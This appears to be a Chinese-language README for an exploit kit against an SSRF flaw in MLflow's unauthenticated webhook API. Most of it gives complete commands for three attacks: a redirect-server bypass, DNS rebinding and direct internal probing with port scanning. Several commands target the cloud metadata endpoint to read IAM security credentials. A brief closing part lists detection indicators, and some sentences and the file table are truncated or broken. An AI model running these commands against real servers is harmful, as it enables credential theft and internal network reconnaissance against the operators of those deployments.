CWE-918 · CVSS 9.3/9.5(严重) · CISA KEV(2026-08-19 列入,存在活跃利用)
修复版本: MLflow 3.15.0(2026-07-31)—— SSRFProtectedHTTPAdapter 会校验实际连接套接字的对端 IP。实际受影响范围:3.3.0 – 3.14.x(webhook 功能约在 3.3.0 引入;3.10.0 加入的 IP 防护正是本 CVE 所绕过的)。
MLflow 的 tracking server 附带一个未认证的 webhook 管理 API (默认配置未启用任何认证插件):
POST /api/2.0/mlflow/webhooks create webhook {name, url, events:[{entity,action}], status}
POST /api/2.0/mlflow/webhooks/{id}/test test webhook -> {result:{success, response_status, response_body, error_message}}
DELETE /api/2.0/mlflow/webhooks/{id}
_validate_webhook_url 会检查 URL 的主机名是否解析为公网 IP——在创建时检查一次,并在发送前再次检查。随后,出站的 requests POST 请求:
Location 目标。测试端点会将上游的 response_status 和 response_body 回显给调用方 → 全读取 SSRF:云元数据(169.254.169.254)、内部微服务、localhost 监听器。即使测试出错,error_message 也会泄露内部可达性(拒绝/过滤/超时)。
| 文件 | 用途 |
|---|---|
exploit.py | 单文件漏洞利用:probe(默认)、scan、redirect-server 模式。Python ≥3.8,仅使用标准库 |
rebind_dns.py | 最小化的 DNS 重绑定响应器(首个 A 记录返回公网地址,后续返回内部地址) |
mock_mlflow.py | 易受攻击版本 webhook 端点的测试替身(基于 v3.14.0 源码构建);--patched 模拟 ≥3.15.0 的修复;--rebind-name 模拟重绑定。可在没有真实 MLflow 的情况下用于演示/验证 |
在你的公网主机上(具有有效的 TLS 证书),运行响应器:
./exploit.py redirect-server \
--targets "leak=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
--listen-port 8443 --tls-cert /etc/letsencrypt/live/your.host/fullchain.pem \
--tls-key /etc/letsencrypt/live/your.host/privkey.pem
然后从任何能够访问 MLflow 服务器的位置执行:
./exploit.py probe http://mlflow.internal:5000 \
--redirect-host your.host:8443 \
--target http://169.254.169.254/latest/meta-data/iam/security-credentials/
webhook URL(https://your.host:8443/leak)通过校验(公网 IP);MLflow 向其发起 POST 请求,
跟随 302 Location: 跳转到内部目标,且不会重新校验,并将内部响应体返回给你。--redirect-status 307/308 会保留 POST 请求体,而不是降级为 GET。
python3 rebind_dns.py --public-ip <your-public-ip> --internal-ip 169.254.169.254 --listen 0.0.0.0:5353
# point victim.example at that resolver, then:
./exploit.py probe http://mlflow:5000 --mode rebind --rebind-host victim.example \
--target http://169.254.169.254/
在默认的 https-only 方案允许列表下,重绑定连接会在内部 IP 处进行 TLS 终止——完整读取对支持 TLS 的内部服务有效,或在操作员允许 http 时有效(MLFLOW_WEBHOOK_ALLOWED_SCHEMES=http,https,在实验环境中很常见);否则你仍然只能得到错误消息预言机(证书错误、超时、连接被拒绝)。
如果实例设置了 MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS=true(或早于 3.10.0 的防护),则直接指向内部 URL:
./exploit.py probe http://mlflow:5000 --mode direct --target http://169.254.169.254/
# from public infrastructure (default-compatible):
./exploit.py redirect-server --targets "t0=http://169.254.169.254/,t1=http://10.0.0.1:8080/" ...
# then probe each tN individually, or with a relaxed MLflow config, scan locally:
./exploit.py scan http://mlflow:5000 --webhook-host <your-ip> \
--targets "t0=http://169.254.169.254/,t1=http://10.0.0.1:8080/"
开放端口会返回状态码/响应体;关闭/被过滤的端口则表现为 error_message
(ConnectionRefusedError 与 ReadTimeout)——典型的 SSRF 端口扫描语义。
python3 mock_mlflow.py --port 5000 --allow-private-ips --allowed-schemes http # vulnerable world
python3 mock_mlflow.py --port 5001 --patched --rebind-name rb.test \
--rebind-public-ip 93.184.216.34 --rebind-internal-ip 127.0.0.1 # patched world
--patched 会将结果从 leak 翻转为 SSRFProtectionError —— 这也是一个方便的版本指纹:已修补的服务器(≥3.15.0)会以该确切错误响应测试。
MLFLOW_WEBHOOK_ALLOWED_SCHEMES=["https"] —— 除非操作员扩大了列表,否则 webhook URL 必须是 https;因此重定向向量从 https 主机开始。429/5xx 响应时会以退避方式最多重试 3 次 —— 返回 5xx 的内部目标最多会被命中四次(可在服务器日志中看到)。MLFLOW_WEBHOOK_REQUEST_TIMEOUT 默认为 30 秒 —— 被过滤的目标每个约需 30 秒(扫描计时预言机)。--artifacts-only 服务器不会暴露它们(利用程序会明确报告这一点)。--keep-webhook 可保留);名称默认为 cve-2026-64849-* —— 之后仍请检查 webhook 表。0 确认泄漏 · 10 测试出错 · 11 创建失败 · 12 不可达。169.254.169.254、RFC1918 范围或意外主机的出站流量;查找带有 JSON {"entity":"registered_model","action":"created",...} 载荷以及 X-Mlflow-Delivery-Id / X-Mlflow-Timestamp 头的 POST 请求。webhooks 表中的行;来自不受信任客户端的测试端点调用(POST /api/2.0/mlflow/webhooks/*/test)。Webhook request to ... failed / SSRFProtectionError 行。